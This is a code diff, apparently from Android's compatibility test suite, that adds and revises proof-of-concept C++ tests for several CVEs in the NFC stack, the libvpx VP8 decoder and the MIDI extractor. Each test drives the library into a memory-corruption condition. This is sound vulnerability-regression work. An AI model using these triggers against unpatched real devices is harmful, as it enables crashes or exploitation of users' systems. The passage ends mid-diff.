+
cc_test {
- name: "CVE-2021-0684",
+ name: "CVE-2019-2012",
defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- header_libs: [
- "libbatteryservice_headers",
- ],
srcs: [
"poc.cpp",
- "TestInputListener.cpp",
":cts_hostsidetests_securitybulletin_memutils",
],
- cflags: [
- "-DCHECK_OVERFLOW",
- "-DCHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE=4096",
- "-Wno-unused-parameter",
- ],
- static_libs: [
- "libinputdispatcher",
+ compile_multilib: "64",
+ include_dirs: [
+ "system/nfc/src/nfc/include",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/gki/ulinux",
],
shared_libs: [
- "libinputflinger_base",
- "libinputreader",
- "libinputflinger",
- "libinputreader",
- "libbase",
- "libinput",
- "liblog",
- "libutils",
+ "libnfc-nci",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
],
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
new file mode 100644
index 00000000000..97556ba9501
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2012/poc.cpp
@@ -0,0 +1,175 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <stdlib.h>
+#include <string.h>
+#include <tags_defs.h>
+
+#include "../includes/common.h"
+
+#define T3T_MSG_FELICALITE_MC_OFFSET 0x01
+
+bool testInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (testInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit (EXIT_FAILURE);
+}
+
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+tNFC_CONN *p_data;
+void rw_init(void);
+tNFC_STATUS rw_t3t_select(uint8_t peer_nfcid2[NCI_RF_F_UID_LEN],
+ uint8_t mrti_check, uint8_t mrti_update);
+
+void *allocate_memory(size_t size) {
+ void *ptr = malloc(size);
+ if (ptr) {
+ memset(ptr, 0x0, size);
+ }
+ return ptr;
+}
+
+/* States */
+enum {
+ RW_T3T_STATE_NOT_ACTIVATED, RW_T3T_STATE_IDLE, RW_T3T_STATE_COMMAND_PENDING
+};
+
+/* Enumeration of API commands */
+enum {
+ RW_T3T_CMD_DETECT_NDEF,
+ RW_T3T_CMD_CHECK_NDEF,
+ RW_T3T_CMD_UPDATE_NDEF,
+ RW_T3T_CMD_CHECK,
+ RW_T3T_CMD_UPDATE,
+ RW_T3T_CMD_SEND_RAW_FRAME,
+ RW_T3T_CMD_GET_SYSTEM_CODES,
+ RW_T3T_CMD_FORMAT,
+ RW_T3T_CMD_SET_READ_ONLY_SOFT,
+ RW_T3T_CMD_SET_READ_ONLY_HARD,
+ RW_T3T_CMD_MAX
+};
+
+/* Sub-states */
+enum {
+ /* Sub states for formatting Felica-Lite */
+ RW_T3T_FMT_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ formatting) */
+ RW_T3T_FMT_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_FMT_SST_UPDATE_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+ RW_T3T_FMT_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ /* Sub states for setting Felica-Lite read only */
+ RW_T3T_SRO_SST_POLL_FELICA_LITE, /* Waiting for POLL Felica-Lite response (for
+ setting read only) */
+ RW_T3T_SRO_SST_UPDATE_NDEF_ATTRIB, /* Waiting for NDEF attribute block-write
+ to complete */
+ RW_T3T_SRO_SST_CHECK_MC_BLK, /* Waiting for Felica-Lite MC (MemoryControl)
+ block-read to complete */
+ RW_T3T_SRO_SST_UPDATE_MC_BLK /* Waiting for Felica-Lite MC (MemoryControl)
+ block-write to complete */
+};
+
+enum {
+ P_MC_VAL = !T3T_MSG_FELICALITE_MC_OFFSET
+};
+
+void poc_cback(tRW_EVENT event, tRW_DATA *p_rw_data) {
+ (void) event;
+ (void) p_rw_data;
+}
+
+void GKI_freebuf(void* p_buf __attribute__((unused))) {
+}
+
+void GKI_start_timer(uint8_t, int32_t, bool) {
+}
+
+void GKI_stop_timer(uint8_t) {
+}
+
+void exit_handler(void) {
+ if (p_data) {
+ if (p_data->data.p_data) {
+ free(p_data->data.p_data);
+ p_data->data.p_data = nullptr;
+ }
+ free(p_data);
+ p_data = nullptr;
+ }
+}
+
+int main() {
+ atexit(exit_handler);
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = { };
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
+ tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+ GKI_init();
+ rw_init();
+
+ rw_cb.p_cback = &poc_cback;
+ uint8_t peer_nfcid2[NCI_RF_F_UID_LEN];
+ uint8_t mrti_check = 1, mrti_update = 1;
+ FAIL_CHECK(rw_t3t_select(peer_nfcid2, mrti_check, mrti_update) == NFC_STATUS_OK);
+
+ p_data = (tNFC_CONN *) allocate_memory(sizeof(tNFC_CONN));
+ FAIL_CHECK(p_data);
+
+ p_data->data.p_data = (NFC_HDR *) allocate_memory(sizeof(NFC_HDR) * 4);
+ FAIL_CHECK(p_data->data.p_data);
+
+ p_data->status = NFC_STATUS_OK;
+ p_t3t->cur_cmd = RW_T3T_CMD_FORMAT;
+ p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+ p_t3t->rw_substate = RW_T3T_FMT_SST_CHECK_MC_BLK;
+ NFC_HDR *p_msg = (p_data->data).p_data;
+ p_msg->len = T3T_MSG_RSP_COMMON_HDR_LEN;
+ uint8_t *p_t3t_rsp = (uint8_t *) (p_msg + 1) + (p_msg->offset + 1);
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_RSPCODE] = T3T_MSG_OPC_CHECK_RSP;
+ p_t3t_rsp[T3T_MSG_RSP_OFFSET_STATUS1] = T3T_MSG_RSP_STATUS_OK;
+ uint8_t *p_mc = &p_t3t_rsp[T3T_MSG_RSP_OFFSET_CHECK_DATA];
+ p_mc[T3T_MSG_FELICALITE_MC_OFFSET_SYS_OP] = P_MC_VAL;
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ memcpy(p_t3t->peer_nfcid2, &p_t3t_rsp[T3T_MSG_RSP_OFFSET_IDM],
+ NCI_NFCID2_LEN);
+
+ testInProgress = true;
+ p_cb->p_cback(0, event, p_data);
+ testInProgress = false;
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
new file mode 100644
index 00000000000..aa9a2f93e70
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/Android.bp
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2020-0034",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ compile_multilib: "32",
+ arch: {
+ arm: {
+ include_dirs: [
+ "external/libvpx/config/arm-neon",
+ ],
+ shared_libs: [
+ "libvpx",
+ ],
+ cflags: [
+ "-DTEST_ARM32",
+ ],
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
new file mode 100644
index 00000000000..cc7cc22b99b
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0034/poc.cpp
@@ -0,0 +1,109 @@
+/**
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <stdlib.h>
+
+#ifdef TEST_ARM32
+#include <unistd.h>
+#include "../includes/common.h"
+
+#include <string.h>
+#include <algorithm>
+#include <vector>
+#include "vpx/vp8dx.h"
+#include "vpx/vpx_decoder.h"
+#include "vpx_ports/mem_ops.h"
+
+#define IVF_FILE_HDR_SZ 32
+#define IVF_FRAME_HDR_SZ (4 + 8) /* 4 byte size + 8 byte timestamp */
+
+FILE *fp = nullptr;
+
+void exitHandler(void) {
+ if (fp) {
+ fclose(fp);
+ }
+}
+
+bool testInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int32_t signum, siginfo_t *info, void* context) {
+ if (testInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+#endif
+
+int32_t main(int32_t argc, char **argv) {
+ (void)argc;
+ (void)argv;
+
+#ifdef TEST_ARM32
+ atexit(exitHandler);
+
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ FAIL_CHECK(argc >= 2);
+ fp = fopen(argv[1], "rb");
+ FAIL_CHECK(fp);
+
+ fseek(fp, 0, SEEK_END);
+ size_t size = ftell(fp);
+ fseek(fp, 0, SEEK_SET);
+ FAIL_CHECK(size > IVF_FILE_HDR_SZ);
+
+ std::vector<uint8_t> buffer(size);
+ FAIL_CHECK(fread((void *)buffer.data(), sizeof(uint8_t), size, fp) == size);
+
+ vpx_codec_ctx_t codec;
+ vpx_codec_dec_cfg_t cfg;
+ memset(&cfg, 0, sizeof(vpx_codec_dec_cfg_t));
+ cfg.threads = 1;
+ FAIL_CHECK(vpx_codec_dec_init(&codec, &vpx_codec_vp8_dx_algo, &cfg, 0) == VPX_CODEC_OK);
+
+ uint8_t *data = buffer.data();
+ data += IVF_FILE_HDR_SZ;
+ size -= IVF_FILE_HDR_SZ;
+
+ while (size > IVF_FRAME_HDR_SZ) {
+ size_t frame_size = mem_get_le32(data);
+ size -= IVF_FRAME_HDR_SZ;
+ data += IVF_FRAME_HDR_SZ;
+ frame_size = std::min(size, frame_size);
+
+ testInProgress = true;
+ vpx_codec_decode(&codec, data, frame_size, nullptr, 0);
+ testInProgress = false;
+
+ vpx_codec_iter_t iter = nullptr;
+ vpx_image_t *img = nullptr;
+ while ((img = vpx_codec_get_frame(&codec, &iter)) != nullptr) {
+ if (img->d_w > img->w || img->d_h > img->h) {
+ return EXIT_VULNERABLE;
+ }
+ }
+ data += frame_size;
+ size -= frame_size;
+ }
+ vpx_codec_destroy(&codec);
+#endif
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
index d6ea4462558..8249c0c344e 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0073/poc.cpp
@@ -19,6 +19,16 @@
#include <nfc_api.h>
#include <rw_int.h>
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigabrt_handler(int signum, siginfo_t* info, void* context) {
+ if (isTestInProgress && info->si_signo == SIGABRT) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
extern tRW_CB rw_cb;
void rw_init(void);
void rw_t2t_handle_rsp(uint8_t* p_data);
@@ -28,6 +38,17 @@ void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
}
int main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigabrt_handler;
+ sigaction(SIGABRT, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
tRW_T2T_CB* p_t2t = &rw_cb.tcb.t2t;
rw_init();
rw_cb.p_cback = &poc_cback;
@@ -38,6 +59,8 @@ int main() {
p_t2t->bytes_count = 1;
p_t2t->num_lockbytes = RW_T2T_MAX_LOCK_BYTES;
uint8_t data[T2T_READ_DATA_LEN];
+ isTestInProgress = true;
rw_t2t_handle_rsp(data);
+ isTestInProgress = false;
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
index 43da25d3c3e..6ea13d67caf 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0381/poc.cpp
@@ -16,46 +16,55 @@
#include <IMediaExtractor.h>
#include <dlfcn.h>
-#include <signal.h>
-#include <stdlib.h>
-#include <fcntl.h>
-
#include "../includes/common.h"
#include "../includes/memutils.h"
#if _32_BIT
#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
-#define LIBNAME_APEX \
- "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmidiextractor.so"
#elif _64_BIT
#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
-#define LIBNAME_APEX \
- "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
#endif
char enable_selective_overload = ENABLE_NONE;
using namespace android;
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+int fdData, fdInfo;
+
+void *libHandle = nullptr;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+
class XMFDataSource : public DataSource {
-public:
- int mFdData;
- int mFdInfo;
- XMFDataSource(int fdData, int fdInfo) {
- mFdData = fdData;
- mFdInfo = fdInfo;
+ public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
}
~XMFDataSource() = default;
- virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
- size_t size) {
- uint32_t infoOffset, infoSize;
- read(mFdInfo, &infoSize, sizeof(int32_t));
- read(mFdInfo, &infoOffset, sizeof(int32_t));
- lseek(mFdData, infoOffset, SEEK_SET);
- read(mFdData, data, infoSize);
- return size;
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
}
virtual status_t getSize(off64_t *size) {
@@ -65,57 +74,50 @@ public:
virtual status_t initCheck() const { return 0; }
};
-void close_resources(int fdData, int fdInfo, void *libHandle) {
- if (fdData >= 0) {
- ::close(fdData);
- }
- if (fdInfo >= 0) {
- ::close(fdInfo);
- }
- if (libHandle) {
- dlclose(libHandle);
- }
+void close_resources() {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
}
int main(int argc, char **argv) {
- if (argc < 3) {
- return EXIT_FAILURE;
- }
- enable_selective_overload = ENABLE_ALL;
- void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
- if (!libHandle) {
- libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ atexit(close_resources);
+
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ FAIL_CHECK(argc == 3);
+ libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
if (!libHandle) {
- return EXIT_FAILURE;
- }
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ FAIL_CHECK(libHandle);
}
GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
- if (!getDef) {
- dlclose(libHandle);
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(getDef);
- int fdData = open(argv[1], O_RDONLY);
- if (fdData < 0) {
- dlclose(libHandle);
- return EXIT_FAILURE;
- }
- int fdInfo = open(argv[2], O_RDONLY);
- if (fdInfo < 0) {
- close_resources(fdData, fdInfo, libHandle);
- return EXIT_FAILURE;
- }
+ fdData = open(argv[1], O_RDONLY);
+ FAIL_CHECK(fdData >= 0);
+
+ fdInfo = open(argv[2], O_RDONLY);
+ FAIL_CHECK(fdInfo >= 0);
sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
- if (!dataSource) {
- close_resources(fdData, fdInfo, libHandle);
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(dataSource);
+
+ enable_selective_overload = ENABLE_ALL;
+ isTestInProgress = true;
void *meta = nullptr;
FreeMetaFunc freeMeta = nullptr;
-
float confidence = 0.0f;
if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
@@ -123,7 +125,7 @@ int main(int argc, char **argv) {
getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
}
- close_resources(fdData, fdInfo, libHandle);
- enable_selective_overload = ENABLE_NONE;
+ isTestInProgress = false;
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp
index 313f21a7f56..e72af641152 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0383/poc.cpp
@@ -16,46 +16,55 @@
#include <IMediaExtractor.h>
#include <dlfcn.h>
-#include <signal.h>
-#include <stdlib.h>
-#include <fcntl.h>
-
#include "../includes/common.h"
#include "../includes/memutils.h"
#if _32_BIT
#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
-#define LIBNAME_APEX \
- "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmidiextractor.so"
#elif _64_BIT
#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
-#define LIBNAME_APEX \
- "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
#endif
char enable_selective_overload = ENABLE_NONE;
using namespace android;
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+int fdData, fdInfo;
+
+void *libHandle = nullptr;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+
class XMFDataSource : public DataSource {
-public:
- int mFdData;
- int mFdInfo;
- XMFDataSource(int fdData, int fdInfo) {
- mFdData = fdData;
- mFdInfo = fdInfo;
+ public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
}
~XMFDataSource() = default;
- virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
- size_t size) {
- uint32_t infoOffset, infoSize;
- read(mFdInfo, &infoSize, sizeof(int32_t));
- read(mFdInfo, &infoOffset, sizeof(int32_t));
- lseek(mFdData, infoOffset, SEEK_SET);
- read(mFdData, data, infoSize);
- return size;
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
}
virtual status_t getSize(off64_t *size) {
@@ -65,57 +74,50 @@ public:
virtual status_t initCheck() const { return 0; }
};
-void close_resources(int fdData, int fdInfo, void *libHandle) {
- if (fdData >= 0) {
- ::close(fdData);
- }
- if (fdInfo >= 0) {
- ::close(fdInfo);
- }
- if (libHandle) {
- dlclose(libHandle);
- }
+void close_resources() {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
}
int main(int argc, char **argv) {
- if (argc < 3) {
- return EXIT_FAILURE;
- }
- enable_selective_overload = ENABLE_ALL;
- void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
- if (!libHandle) {
- libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ atexit(close_resources);
+
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ FAIL_CHECK(argc == 3);
+ libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
if (!libHandle) {
- return EXIT_FAILURE;
- }
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ FAIL_CHECK(libHandle);
}
GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
- if (!getDef) {
- dlclose(libHandle);
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(getDef);
- int fdData = open(argv[1], O_RDONLY);
- if (fdData < 0) {
- dlclose(libHandle);
- return EXIT_FAILURE;
- }
- int fdInfo = open(argv[2], O_RDONLY);
- if (fdInfo < 0) {
- close_resources(fdData, fdInfo, libHandle);
- return EXIT_FAILURE;
- }
+ fdData = open(argv[1], O_RDONLY);
+ FAIL_CHECK(fdData >= 0);
+
+ fdInfo = open(argv[2], O_RDONLY);
+ FAIL_CHECK(fdInfo >= 0);
sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
- if (!dataSource) {
- close_resources(fdData, fdInfo, libHandle);
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(dataSource);
+
+ enable_selective_overload = ENABLE_ALL;
+ isTestInProgress = true;
void *meta = nullptr;
FreeMetaFunc freeMeta = nullptr;
-
float confidence = 0.0f;
if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
@@ -123,7 +125,7 @@ int main(int argc, char **argv) {
getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
}
- close_resources(fdData, fdInfo, libHandle);
- enable_selective_overload = ENABLE_NONE;
+ isTestInProgress = false;
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
index 43da25d3c3e..6ea13d67caf 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0384/poc.cpp
@@ -16,46 +16,55 @@
#include <IMediaExtractor.h>
#include <dlfcn.h>
-#include <signal.h>
-#include <stdlib.h>
-#include <fcntl.h>
-
#include "../includes/common.h"
#include "../includes/memutils.h"
#if _32_BIT
#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
-#define LIBNAME_APEX \
- "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmidiextractor.so"
#elif _64_BIT
#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
-#define LIBNAME_APEX \
- "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
#endif
char enable_selective_overload = ENABLE_NONE;
using namespace android;
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+int fdData, fdInfo;
+
+void *libHandle = nullptr;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+
class XMFDataSource : public DataSource {
-public:
- int mFdData;
- int mFdInfo;
- XMFDataSource(int fdData, int fdInfo) {
- mFdData = fdData;
- mFdInfo = fdInfo;
+ public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
}
~XMFDataSource() = default;
- virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
- size_t size) {
- uint32_t infoOffset, infoSize;
- read(mFdInfo, &infoSize, sizeof(int32_t));
- read(mFdInfo, &infoOffset, sizeof(int32_t));
- lseek(mFdData, infoOffset, SEEK_SET);
- read(mFdData, data, infoSize);
- return size;
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
}
virtual status_t getSize(off64_t *size) {
@@ -65,57 +74,50 @@ public:
virtual status_t initCheck() const { return 0; }
};
-void close_resources(int fdData, int fdInfo, void *libHandle) {
- if (fdData >= 0) {
- ::close(fdData);
- }
- if (fdInfo >= 0) {
- ::close(fdInfo);
- }
- if (libHandle) {
- dlclose(libHandle);
- }
+void close_resources() {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
}
int main(int argc, char **argv) {
- if (argc < 3) {
- return EXIT_FAILURE;
- }
- enable_selective_overload = ENABLE_ALL;
- void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
- if (!libHandle) {
- libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ atexit(close_resources);
+
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ FAIL_CHECK(argc == 3);
+ libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
if (!libHandle) {
- return EXIT_FAILURE;
- }
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ FAIL_CHECK(libHandle);
}
GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
- if (!getDef) {
- dlclose(libHandle);
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(getDef);
- int fdData = open(argv[1], O_RDONLY);
- if (fdData < 0) {
- dlclose(libHandle);
- return EXIT_FAILURE;
- }
- int fdInfo = open(argv[2], O_RDONLY);
- if (fdInfo < 0) {
- close_resources(fdData, fdInfo, libHandle);
- return EXIT_FAILURE;
- }
